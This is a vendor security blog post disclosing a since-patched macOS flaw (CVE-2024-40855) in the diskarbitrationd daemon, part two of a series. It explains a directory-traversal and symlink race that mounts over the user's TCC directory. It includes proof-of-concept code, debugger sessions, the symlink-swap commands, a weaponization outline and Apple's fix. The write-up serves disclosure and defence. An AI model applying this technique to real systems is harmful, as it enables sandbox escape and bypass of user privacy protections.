Uncovering Apple Vulnerabilities: diskarbitrationd and storagekitd Audit Part 2
Kandji's Threat Research team recently performed an audit on the macOS diskarbitrationd
and storagekitd
system daemons, uncovering several vulnerabilities. Our team reported all of them to Apple through their responsible disclosure program, and as these are fixed now, we are releasing the details in this blog series - this is part two.
In part one we covered a vulnerability which impacted the diskarbitrationd
system daemon and allowed attacks to either escape the sandbox or escalate our privileges through user file systems.
In this second part, we will review a vulnerability (CVE-2024-40855) which allows someone to escape the sandbox and also fully bypass TCC by being able to mount over the user's TCC directory. This was possible by performing a directory traversal attack on diskarbitrationd
.
The Vulnerability
diskarbitrationd
is a very powerful process. It runs as root, reachable from the sandbox and also has the com.apple.private.security.storage-exempt.heritable
entitlement which kinda grants it Full Disk Access rights. As such, it must perform checks to ensure someone can't escape the sandbox or elevate to root.
The sandbox verification not only ensures that someone can't escape the sandbox, but also that someone can't mount over TCC protected directories. Privilege elevation is handled differently.
The sandbox verification and insurance that someone can't bypass those checks with symbolic links relies on three items:
- When the client passes the mount point to the service, there is a path resolution happening which ensures that there are no
../
items in the path, thus directory traversal is not possible. It is very important that there are no path resolutions happening after this point. This is crucial to protect against symbolic link attacks, as if a resolution were to happen, it would basically make the last (third) point meaningless. diskarbitrationd
performs asandbox_check_by_audit_token
callout in the code verifying what the calling process can access. Although internally this check will resolve symbolic links, and this check might be bypassable, at later stages, again, the full path containing the link is used.- When the external mount call is happening, it gets the
-k
option, which will tell the kernel to discard the request if the path contains any symbolic links.
There is a problem concerning the first step. The mount point path resolution happens on the client side inside the DADiskMountWithArgumentsCommon
function, which is part of the public DiskArbitration
framework; it means it can be avoided, because it's within the calling process. We can entirely skip the framework and call diskarbitrationd
directly if we want, entirely bypassing this resolution. The result: we can pass a path to the main service, which contains ../
elements, and thus bypass the sandbox check and later also the symbolic link check. Here is how.
Below shows part of the DADiskMountWithArgumentsCommon
function from the DiskArbitration
framework.
__private_extern__ void DADiskMountWithArgumentsCommon( DADiskRef disk,
CFURLRef path,
DADiskMountOptions options,
DADiskMountCallback callback,
void * context,
CFStringRef arguments[],
bool block )
{
...
if ( path )
{
char * _path;
_path = ___CFURLCopyFileSystemRepresentation( path );
if ( _path )
{
char name[MAXPATHLEN];
if ( realpath( _path, name ) )
{
path = CFURLCreateFromFileSystemRepresentation( kCFAllocatorDefault, ( void * ) name, strlen( name ), TRUE );
}
else
{
CFRetain( path );
}
free( _path );
}
else
{
CFRetain( path );
}
}
status = kDAReturnBadArgument;
if ( disk )
{
status = _DAAuthorize( _DADiskGetSession( disk ), _kDAAuthorizeOptionIsOwner, disk, _kDAAuthorizeRightMount );
if ( status == kDAReturnSuccess )
{
status = __DAQueueRequest( _DADiskGetSession( disk ), _kDADiskMount, disk, options, path ? CFURLGetString( path ) : NULL, argument, callback, context, block );
}
}
...
}
Here, both the realpath
and CFURLCreateFromFileSystemRepresentation
function calls will remove any ../
elements. Since this is in the client code, these calls can be avoided if, for example, we implement the framework ourselves.
Below is a simplified drawing that summarizes how mount point path resolutions are handled through the lifecycle of a request.
Exploitation Theory
Here is how we can exploit this at a high level. As an example, we will show we can mount over the user's ~/Library/Application Support/com.apple.TCC
directory, which means we can attach a custom TCC.db
, and thus fully bypass TCC as we can plant custom TCC rules with a new database.
The process is illustrated in the following diagram.
1. We start by calling the DAMount
function with the following path.
/private/tmp/starthere/../../../Users/crab/Library/Application Support/com.apple.TCC
We need to ensure that the client doesn't resolve this in any means, thus diskarbitrationd
will receive the exact same path.
2. When the sandbox_check_by_audit_token
check happens inside diskarbitrationd
we plant a symbolic link as this:
/private/tmp/starthere -> /private/tmp/1/2/3
And we also create the following directory:
/private/tmp/Users/crab/Library/Application Support/com.apple.TCC
Thus when sandbox_check_by_audit_token
resolves the path it will become:
/private/tmp/1/2/3/../../../Users/crab/Library/Application Support/com.apple.TCC
->
/private/tmp/Users/crab/Library/Application Support/com.apple.TCC
This directory will pass the check, because the process can mount over any directory inside /private/tmp/
.
3. Once the sandbox check is complete, we delete the symbolic link, and replace it with an empty directory. diskarbitrationd
will call the external mount command again with /private/tmp/starthere/../../../Users/crab/Library/Application Support/com.apple.TCC
However this time starthere
is not a symbolic link, but a directory. So the translation will be the following:
/private/tmp/starthere/../../../Users/crab/Library/Application Support/com.apple.TCC
->
/Users/crab/Library/Application Support/com.apple.TCC
The path doesn't contain any symbolic link, so the kernel will be fine with it; and because the calling process is diskarbitrationd
, which has the com.apple.private.security.storage-exempt.heritable
entitlement, this will allow us bypassing the MACF Sandbox check in the kernel as well. Since the sandbox check is bypassed, this will work from inside the sandbox as well.
This results in a TCC bypass. To escape the sandbox, we can perform something similar, but mount over, for example, the ~/Library/Preferences
directory, and place a custom Terminal preference file to run some command upon opening Terminal. This technique is described further in the first part of this series.
Basically, it's a similar Time Of Check Time Of Use (TOCTOU) bug as the one we showed in part one.
Exploitation - Using a Debugger
In the following section, we will demonstrate the above using a debugger.
Here is a sample code we use for now.
#import <DiskArbitration/DiskArbitration.h>
#import <Foundation/Foundation.h>
int main(void) {
DASessionRef session = DASessionCreate(kCFAllocatorDefault);
DADiskRef disk = DADiskCreateFromBSDName(kCFAllocatorDefault, session, "/dev/disk6s1");
CFDictionaryRef properties;
CFURLRef diskurl = (__bridge CFURLRef)[NSURL fileURLWithPath:@"/dev/disk6s1"];
CFURLRef url = (__bridge CFURLRef)[NSURL fileURLWithPath:@"/private/tmp/starthere/../../../Users/crab/Library/Application Support/com.apple.TCC"];
DADiskMount(disk, url, kDADiskMountOptionDefault, NULL, NULL);
return 0;
}
This short code will attempt to mount a disc over /private/tmp/starthere/../../../Users/crab/Library/Application Support/com.apple.TCC
. We compile it and start it in lldb
and set the following breakpoints.
(lldb) breakpoint list
Current breakpoints:
1: name = 'realpath', locations = 1, resolved = 1, hit count = 0
1.1: where = libsystem_c.dylib`realpath, address = 0x00000001921de874, resolved, hit count = 0
2: name = 'DADiskMountWithArgumentsCommon', locations = 1, resolved = 1, hit count = 1
2.1: where = DiskArbitration`DADiskMountWithArgumentsCommon, address = 0x000000019a1bdb48, resolved, hit count = 1
3: address = DiskArbitration[0x0000000188325c1c], locations = 1, resolved = 1, hit count = 1
3.1: where = DiskArbitration`DADiskMountWithArgumentsCommon + 212, address = 0x000000019a1bdc1c, resolved, hit count = 1
4: name = '__DAQueueRequest', locations = 1, resolved = 1, hit count = 1
4.1: where = DiskArbitration`__DAQueueRequest, address = 0x000000019a1bcde0, resolved, hit count = 1
We also attach to diskarbitrationd
to show the effect and set a breakpoint on sandbox_check_by_audit_token
.
(lldb) breakpoint list
Current breakpoints:
2: name = 'sandbox_check_by_audit_token', locations = 1, resolved = 1, hit count = 4
2.1: where = libsystem_sandbox.dylib`sandbox_check_by_audit_token, address = 0x000000019d5a61cc, resolved, hit count = 4
We also prepare a symbolic link and a directory.
ln -s /private/tmp/deep/1/2 /private/tmp/starthere
mkdir -p "/private/tmp/Users/crab/Library/Application Support/com.apple.TCC/"
We start the app and we hit our breakpoint. The path is passed as a CFURLRef in X1 register.
(lldb) run
Process 1591 launched: '/Users/crab/m' (arm64)
Process 1591 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
frame #0: 0x000000019a1bdb48 DiskArbitration`DADiskMountWithArgumentsCommon
DiskArbitration`DADiskMountWithArgumentsCommon:
-> 0x19a1bdb48 <+0>: pacibsp
0x19a1bdb4c <+4>: stp x28, x27, [sp, #-0x60]!
0x19a1bdb50 <+8>: stp x26, x25, [sp, #0x10]
0x19a1bdb54 <+12>: stp x24, x23, [sp, #0x20]
Target 0: (m) stopped.
(lldb) memory read -f p $x1
0x600000024060: 0x01000001fa131911 0x0001cc4fc6001d80 0x0800010060015821 0x0000600000f24000
0x600000024080: 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000
(lldb) memory read -f p 0x0000600000f24000
0x600000f24000: 0x01000001fa130589 0x000124d4e900078c 0x2f2f3a656c69665e 0x657461766972702f
0x600000f24020: 0x6174732f706d742f 0x2e2f657265687472 0x2f2e2e2f2e2e2f2e 0x72632f7372657355
(lldb) memory read -f s 0x0000600000f24000+16
0x600000f24010: "^file:///private/tmp/starthere/../../../Users/crab/Library/Application%20Support/com.apple.TCC/"
We read the memory pointed to by X1, and the 4th element will be a pointer to a CFString
, which contains the path, which in this case is 0x0000600000f24000
. At that memory address with offset 16 (0x10) we can find the actual path represented as a C string. We need to keep track of the 0x0000600000f24000
address. We continue now until we hit __DAQueueRequest
.
(lldb) c
Process 1606 resuming
Process 1606 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1
frame #0: 0x000000019a1bdc1c DiskArbitration`DADiskMountWithArgumentsCommon + 212
DiskArbitration`DADiskMountWithArgumentsCommon:
-> 0x19a1bdc1c <+212>: bl 0x19a1c13e8 ; symbol stub for: realpath$DARWIN_EXTSN
0x19a1bdc20 <+216>: cbz x0, 0x19a1bdc74 ; <+300>
0x19a1bdc24 <+220>: adrp x8, 380009
0x19a1bdc28 <+224>: ldr x8, [x8, #0xbd0]
Target 0: (m) stopped.
(lldb) c
Process 1606 resuming
Process 1606 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 4.1
frame #0: 0x000000019a1bcde0 DiskArbitration`__DAQueueRequest
DiskArbitration`:
-> 0x19a1bcde0 <+0>: pacibsp
0x19a1bcde4 <+4>: sub sp, sp, #0x70
0x19a1bcde8 <+8>: stp x28, x27, [sp, #0x10]
0x19a1bcdec <+12>: stp x26, x25, [sp, #0x20]
Target 0: (m) stopped.
(lldb) register read $x4
x4 = 0x0000600000020000
(lldb) memory read -f p $x4
0x600000020000: 0x01000001fa130589 0x00011f42b500078c 0x2f2f3a656c69664b 0x657461766972702f
0x600000020020: 0x6573552f706d742f 0x2f626172632f7372 0x2f7972617262694c 0x746163696c707041
(lldb) memory read -f s $x4+16
0x600000020010: "Kfile:///private/tmp/Users/crab/Library/Application%20Support/com.apple.TCC/"
It's not important what happens before with the path resolution, __DAQueueRequest
will pass the resolved path in the fifth argument (X4 register). The path is passed as a CFString
, and if we dump it, we can see that the ../
elements were removed. At this point we replace this resolved string with the unresolved from the previous step.
(lldb) register write $x4 0x0000600000f24000
(lldb) c
Process 1606 resuming
The memory address for the original CFString
was 0x0000600000f24000
, here we simply put that into the X4 register and then continue.
Now, let's switch to the debugged diskarbitrationd
, which hit its breakpoint at sandbox_check_by_audit_token
.
(lldb) c
Process 113 resuming
Process 113 stopped
* thread #2, queue = 'DAServer', stop reason = breakpoint 2.1
frame #0: 0x000000019d5a61cc libsystem_sandbox.dylib`sandbox_check_by_audit_token
libsystem_sandbox.dylib`sandbox_check_by_audit_token:
-> 0x19d5a61cc <+0>: pacibsp
0x19d5a61d0 <+4>: sub sp, sp, #0xb0
0x19d5a61d4 <+8>: stp x20, x19, [sp, #0x90]
0x19d5a61d8 <+12>: stp x29, x30, [sp, #0xa0]
Target 0: (diskarbitrationd) stopped.
(lldb) memory read -f p $sp
0x16d4f23a0: 0x000000014ea0cc90 0x000000014de04e70 0x0000000000000000 0x0000000000000000
0x16d4f23c0: 0x0000000000008000 0x000000014e904640 0x0000000000000000 0x000000014ea0b5a0
(lldb) memory read -f s 0x000000014ea0cc90
0x14ea0cc90: "/private/tmp/starthere/../../../Users/crab/Library/Application Support/com.apple.TCC"
The path's address is the first item on the stack. We see that the path has the ../
elements, and we know that it will resolve to /private/tmp/Users/crab/Library/Application%20Support/com.apple.TCC/
thus this check will be passed.
We can see that by hitting finish, and verifying the return value in X0 is 0 means pass.
(lldb) finish
Process 113 stopped
* thread #2, queue = 'DAServer', stop reason = step out
frame #0: 0x0000000102d7a89c diskarbitrationd`___lldb_unnamed_symbol730 + 872
diskarbitrationd`___lldb_unnamed_symbol730:
-> 0x102d7a89c <+872>: mov w26, #0x9
0x102d7a8a0 <+876>: movk w26, #0xf8da, lsl #16
0x102d7a8a4 <+880>: cbz w0, 0x102d7aa90 ; <+1372>
0x102d7a8a8 <+884>: mov x0, x23
Target 0: (diskarbitrationd) stopped.
(lldb) register read $x0
x0 = 0x0000000000000000
Now we swap starthere
. We delete the symbolic link and create a directory.
crab@see /tmp % rm starthere
crab@see /tmp % mkdir starthere
Then we let diskarbitrationd
finish.
If we check the mounted directories we can see that we were successful.
crab@see /tmp % mount
...
/dev/disk6s1 on /Users/crab/Library/Application Support/com.apple.TCC (apfs, local, nodev, nosuid, journaled, noowners, mounted by crab)
Weaponization
To avoid path resolution on the client side we need to reimplement the DADiskMountWithArgumentsCommon
function. Since this function is open source, we copied that function and simplified it. This is shown below.
static void MyDADiskMountWithArgumentsCommon( DADiskRef disk,
CFURLRef path,
int options,
DADiskMountCallback callback,
void * context,
CFStringRef arguments[],
bool block )
{
DAReturn status;
status = kDAReturnBadArgument;
if ( disk )
{
status = MyDAAuthorize( _DADiskGetSession( disk ), _kDAAuthorizeOptionIsOwner, disk, _kDAAuthorizeRightMount );
if ( status == kDAReturnSuccess )
{
status = MyDAQueueRequest( _DADiskGetSession( disk ), _kDADiskMount, disk, options, CFURLGetString(path) , NULL, callback, context, block );
}
}
if ( path )
{
CFRelease( path );
}
}
The original function calls out to __DAAuthorize
and ___DAQueueRequest
. We need to call these as well, however, they are private symbols to the framework; thus we can call them directly. What we need to do is dynamically load the framework and find these symbols in memory. Once found, we store them in our MyDAAuthorize
and MyDAQueueRequest
function pointer variables, and then we can call them. (This process is not shown here as it's a rather complex and long code which does this.) Eventually, we call DAQueueRequest
without resolving the path.
Now that we can call diskarbitrationd
as we need, we only need to win the race condition, thus we will swap the directory and the symbolic link in an infinite loop and repeat until we succeed.
To escape the sandbox we plant a Terminal preferences file, and to bypass TCC, we drop a new custom TCC database.
Apple's Fix
Apple fixed the vulnerability in macOS Sequoia 15.0. The patch is doing two important things, which will also play an important role in fixing another vulnerability. We will present this later in the third and final part of this series.
The first part of the fix is shown below.
if ( mntpath )
{
if ( ( _argument1 & kDADiskMountOptionNoFollow ) == 0 )
{
if ( realpath( mntpath, path ) )
{
CFTypeRef mountpath = CFURLCreateFromFileSystemRepresentation( kCFAllocatorDefault, ( void * ) path, strlen( path ), TRUE );
if ( mountpath )
{
DARequestSetArgument2( request, CFURLGetString( mountpath ) );
CFRelease ( mountpath );
}
}
else
{
status = kDAReturnBadArgument;
}
}
}
Now the path resolution doesn't happen on the client side, (not shown,) but at diskarbitrationd
, (shown above,) when the request comes in. This eliminates the issue of the attacker supplying a path with ../
elements. This code path also ensures that the framework will behave exactly the same as before for normal callers. However, this path resolution is only done if the argument kDADiskMountOptionNoFollow
is not supplied.
This would mean that we can still perform our original attack if we pass kDADiskMountOptionNoFollow
. This is where the second part of the fix comes in, which is the modified sandbox_check_by_audit_token
.
status = sandbox_check_by_audit_token(_token, "file-mount", SANDBOX_FILTER_PATH | SANDBOX_CHECK_ALLOW_APPROVAL | SANDBOX_CHECK_CANONICAL, path);
Now the check gets an extra option, SANDBOX_CHECK_CANONICAL
. Now if the path contains either a symbolic link, or a directory traversal element, the sandbox check will always fail, thus effectively stopping our attack at a very early stage.
The fix is summarized in the following drawing.
The reason we have the second code path, and we don't do a resolution every single time, will become clear in the third part of this series.
Conclusion
In the second part of our diskarbitrationd
audit series, we covered how a directory traversal vulnerability impacted the daemon, which allowed attackers to escape the sandbox and bypass TCC. Apple fixed the vulnerability by moving path resolution to the daemon side, thus the client can't inject an arbitrary path into the daemon anymore, as well as by improving the sandbox check part to handle another call flow.
See Kandji in Action
Experience Apple device management and security that actually gives you back your time.
See Kandji in Action
Experience Apple device management and security that actually gives you back your time.